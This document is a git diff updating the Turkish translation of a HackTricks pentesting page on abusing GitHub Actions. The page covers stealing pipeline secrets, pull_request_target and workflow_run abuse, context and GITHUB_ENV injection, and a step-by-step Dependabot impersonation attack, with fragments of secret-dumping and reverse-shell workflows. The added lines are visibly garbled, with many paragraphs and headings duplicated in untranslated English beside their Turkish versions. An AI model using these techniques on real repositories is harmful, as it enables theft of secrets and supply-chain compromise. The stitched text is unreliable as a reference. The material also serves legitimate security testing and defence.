Translated ['', 'src/pentesting-cloud/azure-security/az-post-exploitatio

src/pentesting-ci-cd/github-security/abusing-github-actions/README.md

@@ -1,56 +1,56 @@
-# Github Actions'ın Kötüye Kullanımı
+# Github Actions'ı Kötüye Kullanma
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 ## Araçlar
 
-Aşağıdaki araçlar Github Action iş akışlarını bulmak ve hatta kırılgan olanları tespit etmek için faydalıdır:
+Aşağıdaki araçlar Github Action workflow'larını bulmak ve bazılarının zafiyetlerini tespit etmek için faydalıdır:
 
 - [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
 - [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
 - [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X)
 - [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
-- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Ayrıca kontrol listesine bakın: [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
+- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Ayrıca checklist'ine şu adresten bakın: [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
 
 ## Temel Bilgiler
 
 Bu sayfada şunları bulacaksınız:
 
-- Bir **saldırganın bir Github Action'a erişim sağlaması halinde tüm etkilerin özeti**
-- Bir action'a **erişim elde etmenin** farklı yolları:
-- Action oluşturma **izinlerine** sahip olmak
-- **pull request** ile ilgili tetikleyicilerin kötüye kullanılması
-- Diğer **external access** tekniklerinin kötüye kullanılması
-- Zaten ele geçirilmiş bir repo'dan **Pivoting**
-- Son olarak, bahsedilen etkileri gerçekleştirmek için bir action'ın içeriden kötüye kullanılmasıyla ilgili **post-exploitation teknikleri**
+- Bir saldırganın bir Github Action'a erişim sağlaması durumunda ortaya çıkan tüm etkilerin **özeti**
+- Bir action'a **erişim sağlama** için farklı yollar:
+- Action oluşturmak için **izinlere sahip olma**
+- **pull request** ile ilgili tetikleyicileri kötüye kullanma
+- Diğer **harici erişim** tekniklerini kötüye kullanma
+- Halihazırda ele geçirilmiş bir repo'dan **Pivoting**
+- Son olarak, bir action'ı içeriden kötüye kullanmak için **post-exploitation techniques** (bahsedilen etkileri gerçekleştirmek için) bölümü
 
 ## Etkiler Özeti
 
-Bir giriş için [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
+Github Actions hakkında bir giriş için [**Github Actions hakkında temel bilgileri kontrol edin**](../basic-github-information.md#github-actions).
 
-Eğer bir repository içinde **GitHub Actions'ta rastgele kod çalıştırabiliyorsanız**, şunları yapabilirsiniz:
+Eğer bir repository içinde **GitHub Actions'ta keyfi kod çalıştırabiliyorsanız**, şunları yapabilirsiniz:
 
-- Pipeline'a monte edilmiş **secrets**'ları çalmak ve pipeline'ın ayrıcalıklarını suistimal ederek AWS ve GCP gibi harici platformlara yetkisiz erişim elde etmek.
-- Dağıtımları (deployments) ve diğer artifact'leri ele geçirmek.
-- Eğer pipeline varlıkları deploy ediyor veya depoluyorsa, nihai ürünü değiştirebilir ve böylece bir supply chain attack'e olanak sağlayabilirsiniz.
-- Custom workers içinde kod çalıştırarak hesaplama gücünü suistimal etmek ve diğer sistemlere pivot yapmak.
-- `GITHUB_TOKEN` ile ilişkili izinlere bağlı olarak repository kodunu üzerine yazmak.
+- Pipeline'e mount edilmiş **secrets**'i çalıp, pipeline'ın ayrıcalıklarını **kötüye kullanarak** AWS ve GCP gibi harici platformlara yetkisiz erişim elde edebilirsiniz.
+- Deployment'ları ve diğer **artifacts**'ı tehlikeye atabilirsiniz.
+- Eğer pipeline varlıkları deploy ediyor veya depoluyorsa, nihai ürünü değiştirebilir ve bu sayede bir supply chain attack'a yol açabilirsiniz.
+- Özel workers'ta **kod çalıştırma** ile hesaplama gücünü kötüye kullanma ve diğer sistemlere pivot yapma.
+- `GITHUB_TOKEN` ile ilişkilendirilmiş izinlere bağlı olarak **repository kodunu overwrite etme**.
 
 ## GITHUB_TOKEN
 
-Bu "**secret**" ( `${{ secrets.GITHUB_TOKEN }}` ve `${{ github.token }}`'den gelir) admin bu seçeneği etkinleştirdiğinde verilir:
+Bu "**secret**" ( `${{ secrets.GITHUB_TOKEN }}` ve `${{ github.token }}`'den gelen) yönetici bu seçeneği etkinleştirdiğinde verilir:
 
 <figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
 
-Bu token, bir **Github Application** tarafından kullanılanla aynıdır; bu yüzden aynı endpoint'lere erişebilir: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
+Bu token, bir **Github Application'ın kullanacağı** token ile aynıdır, dolayısıyla aynı endpoint'lere erişebilir: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
 
 > [!WARNING]
-> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`.
+> Github, repo'nun `GITHUB_TOKEN` kullanarak GitHub içindeki diğer internal repolara erişmesine olanak veren bir [**flow**](https://github.com/github/roadmap/issues/74) yayınlamalı.
 
-Bu token'ın olası **izinlerini** şurada görebilirsiniz: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
+Bu token için olası **permissions**'ları şurada görebilirsiniz: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
 
-Not: Token'ın **job tamamlandıktan sonra süresinin dolacağını** unutmayın.\
-Bu tür token'lar şu şekilde görünür: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
+Unutmayın ki token **job tamamlandıktan sonra süresi dolar**.\
+Bu tokenler şu şekilde görünür: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
 
 Bu token ile yapabileceğiniz bazı ilginç şeyler:
 
@@ -91,11 +91,11 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls \
 {{#endtabs }}
 
 > [!CAUTION]
-> Bazı durumlarda **github user tokens inside Github Actions envs or in the secrets** bulabileceğinizi unutmayın. Bu tokens repository ve organization üzerinde size daha fazla yetki verebilir.
+> Bazı durumlarda **github user tokens inside Github Actions envs or in the secrets** bulabileceğinizi unutmayın. Bu tokenlar repository ve organization üzerinde size daha fazla ayrıcalık verebilir.
 
 <details>
 
-<summary>Github Action çıktısında secrets'leri listele</summary>
+<summary>Github Action çıktısında secrets'i listele</summary>
 ```yaml
 name: list_env
 on:
@@ -121,7 +121,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 
 <details>
 
-<summary>Secrets kullanarak reverse shell al</summary>
+<summary>secrets ile reverse shell al</summary>
 ```yaml
 name: revshell
 on:
@@ -144,29 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 ```
 </details>
 
-Diğer kullanıcıların repository'lerinde bir Github Token'a verilen izinleri **actions'ın loglarını kontrol ederek** öğrenmek mümkün:
+Diğer kullanıcıların depolarında Github Token'a verilen izinleri **logları kontrol ederek** actions yürütme kayıtlarından görebilirsiniz:
 
 <figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
 
 ## İzinli Çalıştırma
 
 > [!NOTE]
-> Bu, Github actions'ı ele geçirmenin en kolay yolu olur; çünkü bu durumda organizasyonda **create a new repo in the organization**, veya bir repository üzerinde **write privileges over a repository** erişiminiz olması gerekir.
+> Bu, Github actions'ı ele geçirmenin en kolay yolu olur; bu durum organizasyonda **yeni bir repo oluşturma** yetkisine sahip olduğunuzu veya bir depoda **yazma ayrıcalıklarına** sahip olduğunuzu varsayar.
 >
-> Bu senaryodaysanız sadece [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action) bölümünü kontrol edebilirsiniz.
+> Bu senaryodaysanız [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action) bölümünü inceleyebilirsiniz.
 
 ### Repo Oluşturularak Çalıştırma
 
-Eğer bir organizasyonun üyeleri **create new repos** oluşturabiliyorsa ve siz github actions çalıştırabiliyorsanız, **create a new repo and steal the secrets set at organization level**.
+Organizasyon üyeleri **yeni repolar oluşturabiliyorsa** ve siz github actions çalıştırabiliyorsanız, **yeni bir repo oluşturup organizasyon düzeyinde ayarlanmış secrets'i çalabilirsiniz**.
 
-### Yeni Bir Branch'ten Çalıştırma
+### Yeni Bir Dal Üzerinden Çalıştırma
 
-Eğer zaten bir Github Action içeren bir repository'de **create a new branch in a repository that already contains a Github Action** oluşturabiliyorsanız, bu action'ı **modify**, içeriği **upload** edip ardından **execute that action from the new branch**. Bu şekilde **exfiltrate repository and organization level secrets** yapabilirsiniz (ama bunların nasıl isimlendirildiğini bilmeniz gerekir).
+Eğer zaten bir Github Action içeren bir depoda **yeni bir branch oluşturabiliyorsanız**, onu **değiştirip**, içeriği **yükleyebilir** ve sonra **o action'ı yeni branch'tan çalıştırabilirsiniz**. Bu şekilde repository ve organizasyon düzeyindeki secrets'i **exfiltrate** edebilirsiniz (ama onların nasıl adlandırıldığını bilmeniz gerekir).
 
 > [!WARNING]
-> workflow YAML içinde (örneğin, `on: push: branches: [main]`, job conditionals veya manual gates) sadece dosya içi kısıtlamalar uygulanmışsa bunlar collaborator'lar tarafından düzenlenebilir. Harici bir zorlayıcı (branch protections, protected environments, and protected tags) yoksa bir katkıda bulunan kişi workflow'u kendi branch'ında çalışacak şekilde yeniden hedefleyebilir ve mounted secrets/permissions'i kötüye kullanabilir.
+> Sadece workflow YAML içinde uygulanan herhangi bir kısıtlama (örneğin, `on: push: branches: [main]`, job conditionals, veya manual gates) işbirlikçiler tarafından düzenlenebilir. Harici bir zorlayıcı (branch protections, protected environments, ve protected tags) olmadan bir katkı sağlayıcı, bir workflow'u kendi branch'ında çalıştırılacak şekilde yönlendirebilir ve mounted secrets/permissions'ı kötüye kullanabilir.
 
-Değiştirilmiş action'ı **manually** çalıştırılabilir hale getirebilir, bir **PR is created** olduğunda veya **some code is pushed** olduğunda tetikleyebilirsiniz (ne kadar gürültü yapmak istediğinize bağlı olarak):
+Değiştirdiğiniz action'ı **manuel olarak**, bir **PR oluşturulduğunda** veya **bazı kodlar push edildiğinde** (ne kadar dikkat çekmek istediğinize bağlı olarak) çalıştırılabilir hale getirebilirsiniz:
 ```yaml
 on:
 workflow_dispatch: # Launch manually
@@ -180,43 +180,43 @@ branches:
 ```
 ---
 
-## Forked Execution
+## Fork'lanmış Çalıştırma
 
 > [!NOTE]
-> Saldırganın başka bir repository'nin **Github Action**'ını **çalıştırmasına** izin verebilecek farklı tetikleyiciler vardır. Eğer bu tetiklenebilir actions'lar kötü yapılandırılmışsa, bir saldırgan onları ele geçirebilir.
+> Başka bir repository'nin **Github Action'ını çalıştırmasına** izin verebilecek farklı tetikleyiciler vardır. Bu tetiklenebilir actions kötü yapılandırılmışsa, bir saldırgan bunları ele geçirebilir.
 
 ### `pull_request`
 
-Workflow tetikleyicisi **`pull_request`**, bir pull request alındığında workflow'u her seferinde çalıştırır; bazı istisnalar vardır: varsayılan olarak eğer repo ile **ilk kez** katkıda bulunuyorsanız, bazı **maintainer**'ların workflow çalıştırılmasını **onaylaması** gerekir:
+Workflow tetikleyicisi **`pull_request`**, bazı istisnalar dışında bir pull request alındığında workflow'u her seferinde çalıştırır: varsayılan olarak eğer **ilk kez** katkıda bulunuyorsanız, bazı **maintainer**'ların workflow'un **run**'ını **approve** etmesi gerekecektir:
 
 <figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
 
 > [!NOTE]
-> Varsayılan kısıtlama **ilk kez** katkıda bulunanlar içindir; geçerli bir bug/typo'yu düzelterek katkıda bulunup sonra yeni `pull_request` ayrıcalıklarınızı kötüye kullanmak için **başka PR'ler** gönderebilirsiniz.
+> Varsayılan kısıtlama **ilk kez** katkıda bulunanlar içindir; geçerli bir bug/typo düzelterek katkıda bulunabilir ve sonra yeni `pull_request` ayrıcalıklarınızı kötüye kullanmak için **diğer PR'lar** gönderebilirsiniz.
 >
-> **Bunu test ettim ve işe yaramıyor**: ~~Another option would be to create an account with the name of someone that contributed to the project and deleted his account.~~
+> **Bunu test ettim ve çalışmıyor**: ~~Another option would be to create an account with the name of someone that contributed to the project and deleted his account.~~
 
-Ayrıca, varsayılan olarak hedef repository'ye **yazma izinlerini** ve **secret'lara erişimi** engeller, detaylar için [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
+Ayrıca, varsayılan olarak hedef repoya **yazma izinlerini** ve **secrets erişimini** engeller, bu [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories) bölümünde belirtildiği gibi:
 
 > With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
 
-Bir saldırgan, rastgele şeyler çalıştırmak ve rastgele actions eklemek için Github Action tanımını değiştirebilir. Ancak, bahsedilen kısıtlamalar nedeniyle secret'ları çalamaz veya repoyu overwrite edemez.
+Bir saldırgan, Github Action tanımını değiştirerek rastgele komutlar çalıştırabilir ve rastgele actions ekleyebilir. Ancak, bahsedilen sınırlamalar nedeniyle secrets çalamaz veya repoyu overwrite edemez.
 
 > [!CAUTION]
-> **Yes, if the attacker change in the PR the github action that will be triggered, his Github Action will be the one used and not the one from the origin repo!**
+> **Evet, eğer saldırgan PR'de tetiklenecek github action'ı değiştirirse, kullanılacak olan onun Github Action'ı olacak ve origin repo'nunkisi olmayacaktır!**
 
-Saldırgan çalıştırılan koda da hakim olduğu için, `GITHUB_TOKEN` üzerinde secret veya yazma izinleri olmasa bile örneğin **kötücül artefaktlar yükleyebilir**.
+Saldırgan çalıştırılan kodu da kontrol ettiğinden, `GITHUB_TOKEN` üzerinde secrets veya yazma izinleri olmasa bile saldırgan örneğin **kötü amaçlı artifact'lar** yükleyebilir.
 
 ### **`pull_request_target`**
 
-Workflow tetikleyicisi **`pull_request_target`** hedef repository'ye **yazma iznine** ve **secret'lara erişime** sahiptir (ve izin istemez).
+Workflow tetikleyicisi **`pull_request_target`**, hedef repoya **yazma iznine** ve **secrets erişimine** sahiptir (ve izin istemez).
 
-Dikkat: workflow tetikleyicisi **`pull_request_target`** **base context'te çalışır** ve PR tarafından verilen context'te çalışmaz (güvenilmeyen kodu çalıştırmamak için). `pull_request_target` hakkında daha fazla bilgi için [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
-Ayrıca, bu özel tehlikeli kullanım hakkında daha fazla bilgi için şu [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/) kontrol edin.
+Dikkat: workflow tetikleyicisi **`pull_request_target`**, PR tarafından sağlanan bağlamda değil, **base context**'te çalışır (güvenilmeyen kodu çalıştırmamak için). `pull_request_target` hakkında daha fazla bilgi için [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target) bölümüne bakın.\
+Ayrıca, bu spesifik tehlikeli kullanım hakkında daha fazla bilgi için şu [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/) yazısına bakın.
 
-Base'de tanımlı olan ve PR'dekinde olmayan **icra edilen workflow** nedeniyle **`pull_request_target`** kullanmak güvenli görünebilir, fakat güvenli olmadığı birkaç durum vardır.
+Çalıştırılan workflow **base**'de tanımlı olup **PR**'de değil diye **`pull_request_target`** kullanmak **güvenli** gibi görünebilir, ancak **güvenli olmadığı** birkaç durum vardır.
 
-Ve bunun **secret'lara erişimi** olacaktır.
+Ve bunun **secrets erişimi** olacaktır.
 
 ### `workflow_run`
 
@@ -230,29 +230,45 @@ workflows: [Run Tests]
 types:
 - completed
 ```
-Ayrıca dokümanlara göre: `workflow_run` olayıyla başlatılan workflow, önceki workflow başlatılmamış olsa bile **`secrets`'e erişebilir ve write token'lar yazabilir**.
+Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**.
 
-Bu tür bir workflow, bir dış kullanıcının **`pull_request`** veya **`pull_request_target`** aracılığıyla tetikleyebildiği bir **workflow**'a **bağımlıysa** saldırıya uğrayabilir. Birkaç zayıf örnek [**bu blogda bulunabilir**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability). İlki, `workflow_run` ile tetiklenen workflow'un saldırganın kodunu indirmesi üzerine kuruludur: `${{ github.event.pull_request.head.sha }}`  
-İkincisi, **untrusted** koddan bir **artifact**'i `workflow_run` workflow'una **geçirmek** ve bu artifact içeriğini RCE'ye açık hale getirecek şekilde kullanmaktır.
+Bu ayrıca dokümanlara göre: `workflow_run` olayıyla başlatılan workflow, **önceki workflow başlatmamış olsa bile secrets'e erişebilir ve write token'lar oluşturabilir**.
+
+This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`\
+The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**.
+
+Bu tür bir workflow, dış bir kullanıcının **`pull_request`** veya **`pull_request_target`** ile tetikleyebileceği bir **workflow**'a **bağımlıysa** saldırıya uğrayabilir. Birkaç zayıf örnek [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)'da bulunabilir. İlk örnek, **`workflow_run`** ile tetiklenen workflow'un saldırganın kodunu indiriyor olmasıdır: `${{ github.event.pull_request.head.sha }}`\
+İkinci örnek ise **untrusted** koddan bir **artifact** geçirip bu artifact içeriğini `workflow_run` içinde kullanmak ve bunun **RCE'ye açık** bir şekilde işlenmesidir.
 
 ### `workflow_call`
 
 TODO
 
-TODO: pull_request'ten çalıştırıldığında kullanılan/indirilen kodun origin'den mi yoksa forked PR'den mi olduğunu kontrol et
+TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR
 
-## Fork edilmiş çalıştırmanın kötüye kullanımı
+## Abusing Forked Execution
 
-Bir dış saldırganın bir GitHub workflow'unu çalıştırmasını sağlayabileceği tüm yolları zaten belirttik; şimdi bu çalıştırmalar kötü yapılandırılmışsa nasıl kötüye kullanılabileceğine bakalım:
+We have mentioned all the ways an external attacker could manage to make a github workflow to execute, now let's take a look about how this executions, if bad configured, could be abused:
 
-### Güvenilmeyen checkout çalıştırması
+## Abusing Forked Execution
 
-`pull_request` durumunda, workflow **PR bağlamında** çalıştırılacaktır (yani **kötücül PR'ın kodunu** çalıştırır), fakat önce birinin **bunu yetkilendirmesi** gerekir ve bazı [sınırlamalar](#pull_request) ile çalışır.
+Dış bir saldırganın bir github workflow'unu çalıştırmasını sağlayabileceği tüm yolları bahsetmiştik; şimdi bu çalıştırmalar kötü yapılandırılmışsa nasıl kötüye kullanılabileceğine bakalım:
 
-`pull_request_target` veya `workflow_run` kullanan ve `pull_request_target` veya `pull_request` ile tetiklenebilen bir workflow'a bağımlı olan bir workflow durumunda, orijinal repo'daki kod çalıştırılır; bu yüzden **saldırgan çalıştırılan kodu kontrol edemez**.
+### Untrusted checkout execution
+
+In the case of **`pull_request`,** the workflow is going to be executed in the **context of the PR** (so it'll execute the **malicious PRs code**), but someone needs to **authorize it first** and it will run with some [limitations](#pull_request).
+
+**`pull_request`** durumunda workflow, **PR bağlamında** çalıştırılacaktır (yani **kötücül PR kodu** çalıştırılır), fakat önce birinin **onaylaması gerekir** ve bazı [sınırlamalar](#pull_request) ile çalışacaktır.
+
+In case of a workflow using **`pull_request_target` or `workflow_run`** that depends on a workflow that can be triggered from **`pull_request_target` or `pull_request`** the code from the original repo will be executed, so the **attacker cannot control the executed code**.
+
+Eğer bir workflow, **`pull_request_target` veya `workflow_run`** kullanıyor ve bunun bağlı olduğu workflow **`pull_request_target` veya `pull_request`** ile tetiklenebiliyorsa, orijinal repo kodu çalıştırılır; dolayısıyla **saldırgan çalıştırılan kodu kontrol edemez**.
 
 > [!CAUTION]
-> Ancak, eğer **action**'ın açık bir PR checkout'u varsa ve kodu **PR'den alıyorsa** (base'den değil), saldırganın kontrol ettiği kodu kullanır. Örneğin (satır 12'de PR kodunun indirildiğine bakın):
+> However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded):
+
+> [!CAUTION]
+> Ancak eğer **action**'ın **açık bir PR checkout**'ı varsa ve **kod PR'dan alınıyorsa** (base'den değil), saldırgan tarafından kontrol edilen kod kullanılacaktır. Örneğin (PR kodunun indirildiği 12. satıra bakın):
 
 <pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
 on:
@@ -282,14 +298,23 @@ message: |
 Thank you!
 </code></pre>
 
-Olası **güvenilmeyen kod `npm install` veya `npm build` sırasında çalıştırılır**, çünkü build script'leri ve referans verilen **package'ler PR yazarı tarafından kontrol edilir**.
+The potentially **untrusted code is being run during `npm install` or `npm build`** as the build scripts and referenced **packages are controlled by the author of the PR**.
+
+Potansiyel olarak **untrusted code `npm install` veya `npm build` sırasında çalıştırılıyor** çünkü build script'leri ve referans verilen **packages PR yazarı tarafından kontrol ediliyor**.
 
 > [!WARNING]
-> Zayıf action'ları aramak için bir GitHub dork'u: `event.pull_request pull_request_target extension:yml` ancak, action güvensiz yapılandırılmış olsa bile job'ların güvenli şekilde çalıştırılmasını sağlamak için farklı yollar vardır (ör. PR'i oluşturan aktörün kim olduğuna dair koşullar kullanmak).
+> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR).
+
+> [!WARNING]
+> Zafiyete açık action'ları aramak için bir github dork'u: `event.pull_request pull_request_target extension:yml` ancak, action güvensiz yapılandırılmış olsa bile job'ların güvenli şekilde çalıştırılması için (ör. PR'ı oluşturan actor kim olduğuna dair koşullar kullanmak gibi) farklı konfigürasyon yolları vardır.
 
 ### Context Script Injections <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
 
-PR'ı oluşturan **kullanıcı** tarafından kontrol edilen değerleri olan belirli [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) olduğunu unutmayın. Eğer github action bu **veriyi herhangi bir şey çalıştırmak için kullanıyorsa**, bu **keyfi kod yürütmeye** yol açabilir:
+Note that there are certain [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) whose values are **controlled** by the **user** creating the PR. If the github action is using that **data to execute anything**, it could lead to **arbitrary code execution:**
+
+### Context Script Injections <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
+
+PR'ı oluşturan **kullanıcı** tarafından **kontrol edilen** bazı [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) olduğunu unutmayın. Eğer github action bu **veriyi herhangi bir şey çalıştırmak için** kullanıyorsa, bu **rastgele kod yürütmeye** yol açabilir:
 
 {{#ref}}
 gh-actions-context-script-injections.md
@@ -297,17 +322,29 @@ gh-actions-context-script-injections.md
 
 ### **GITHUB_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
 
-Dokümanlara göre: Bir workflow job'unda bir ortam değişkenini tanımlayarak veya güncelleyerek ve bunu **`GITHUB_ENV`** environment dosyasına yazarak sonraki adımlarda kullanılabilir hale getirebilirsiniz.
+From the docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file.
 
-Eğer bir saldırgan bu **env** değişkeninin içine **herhangi bir değer enjekte edebilirse**, sonraki adımlarda kod çalıştırabilecek **LD_PRELOAD** veya **NODE_OPTIONS** gibi env değişkenlerini enjekte edebilir.
+### **GITHUB_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
 
-Örneğin ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) ve [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), içeriğini `GITHUB_ENV` env değişkenine kaydetmek için yüklenen bir artifact'e güvenen bir workflow olduğunu düşünün. Bir saldırgan bunu ele geçirmek için şöyle bir şey yükleyebilir:
+Dokümanlara göre: Bir workflow job'ında bir environment variable'ı tanımlayarak veya güncelleyerek ve bunu **`GITHUB_ENV`** environment dosyasına yazarak **sonraki adımlarda kullanılabilir hale getirebilirsiniz**.
+
+If an attacker could **inject any value** inside this **env** variable, he could inject env variables that could execute code in following steps such as **LD_PRELOAD** or **NODE_OPTIONS**.
+
+Eğer bir saldırgan bu **env** değişkenine **herhangi bir değer** enjekte edebilirse, sonraki adımlarda **LD_PRELOAD** veya **NODE_OPTIONS** gibi kod çalıştırabilecek env değişkenleri enjekte edebilir.
+
+For example ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine a workflow that is trusting an uploaded artifact to store its content inside **`GITHUB_ENV`** env variable. An attacker could upload something like this to compromise it:
+
+Örneğin ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) ve [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), yüklenen bir artifact'in içeriğini **`GITHUB_ENV`** env değişkenine koymaya güvenen bir workflow hayal edin. Bir saldırgan bunu kötüye kullanmak için şu tarz bir şey yükleyebilir:
 
 <figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
 
-### Dependabot ve diğer güvenilir botlar
+### Dependabot and other trusted bots
 
-Bu [**blog yazısında**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest) belirtildiği gibi, bazı organizasyonlar `dependabot[bot]`'tan gelen herhangi bir PR'ı otomatik olarak merge eden bir GitHub Action'a sahip, örneğin:
+As indicated in [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), several organizations have a Github Action that merges any PRR from `dependabot[bot]` like in:
+
+### Dependabot and other trusted bots
+
+[**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest)'de belirtildiği gibi, bazı organizasyonlar `dependabot[bot]`'tan gelen herhangi bir PR'ı otomatik olarak merge eden bir Github Action'a sahiptir; örneğin:
 ```yaml
 on: pull_request_target
 jobs:
@@ -317,16 +354,16 @@ if: ${ { github.actor == 'dependabot[bot]' }}
 steps:
 - run: gh pr merge $ -d -m
 ```
-Bu bir sorun çünkü `github.actor` alanı workflow'u tetikleyen son olaya neden olan kullanıcıyı içerir. Ve `dependabot[bot]` kullanıcısının bir PR'ı değiştirmesini sağlamak için birkaç yol vardır. Örneğin:
+Bu bir problem çünkü `github.actor` alanı workflow'u tetikleyen son olayı oluşturan kullanıcıyı içerir. Ve `dependabot[bot]` kullanıcısının bir PR'ı değiştirmesini sağlamak için birkaç yol vardır. Örneğin:
 
-- Hedef repository'yi fork et
-- Kopyana malicious payload ekle
-- Fork'unda outdated dependency ekleyerek Dependabot'u etkinleştir. Dependabot, dependency'yi düzeltmek için malicious code içeren bir branch oluşturacak.
-- O branch'ten hedef repository'ye bir Pull Request aç (PR kullanıcı tarafından oluşturulacak, bu yüzden şimdilik hiçbir şey olmayacak)
-- Sonra, saldırgan fork'unda Dependabot'un açtığı ilk PR'ye geri döner ve `@dependabot recreate` çalıştırır
-- Ardından, Dependabot o branch'te bazı işlemler yapar ve bu, hedef repo üzerindeki PR'ı değiştirir; bu da `dependabot[bot]`'u workflow'u tetikleyen son olayın actor'ü yapar (dolayısıyla workflow çalışır).
+- Hedef repository'yi forkla
+- Kötü amaçlı payload'u kendi kopyana ekle
+- Fork'unda Dependabot'u etkinleştirerek eski bir dependency ekle. Dependabot, dependency'yi düzeltmek için kötü amaçlı kod içeren bir branch oluşturacak.
+- O branch'ten hedef repository'ye bir Pull Request aç (PR kullanıcı tarafından oluşturulacağı için henüz bir şey olmayacak)
+- Sonra, saldırgan fork'unda Dependabot'un açtığı ilk PR'ye geri döner ve `@dependabot recreate` komutunu çalıştırır
+- Bunun üzerine Dependabot o branch'te bazı işlemler gerçekleştirir; bu, hedef repo üzerindeki PR'ı değiştirdiği için `dependabot[bot]` workflow'u tetikleyen son olayın actor'ü olur (ve dolayısıyla workflow çalışır).
 
-Devam edersek, merge etmek yerine Github Action'ın şu örnekteki gibi bir command injection'a sahip olduğunu varsayarsak:
+Devam edersek, merge etmek yerine Github Action'ın içinde şu örnekteki gibi bir command injection olsa ne olur:
 ```yaml
 on: pull_request_target
 jobs:
@@ -336,24 +373,24 @@ if: ${ { github.actor == 'dependabot[bot]' }}
 steps:
 - run: echo ${ { github.event.pull_request.head.ref }}
 ```
-Well, the original blogpost proposes two options to abuse this behavior being the second one:
+Orijinal blog yazısı, bu davranışı kötüye kullanmak için iki seçenek öneriyor; ikinci seçenek şudur:
 
-- Fork the victim repository and enable Dependabot with some outdated dependency.
-- Create a new branch with the malicious shell injection code.
-- Change the default branch of the repo to that one
-- Create a PR from this branch to the victim repository.
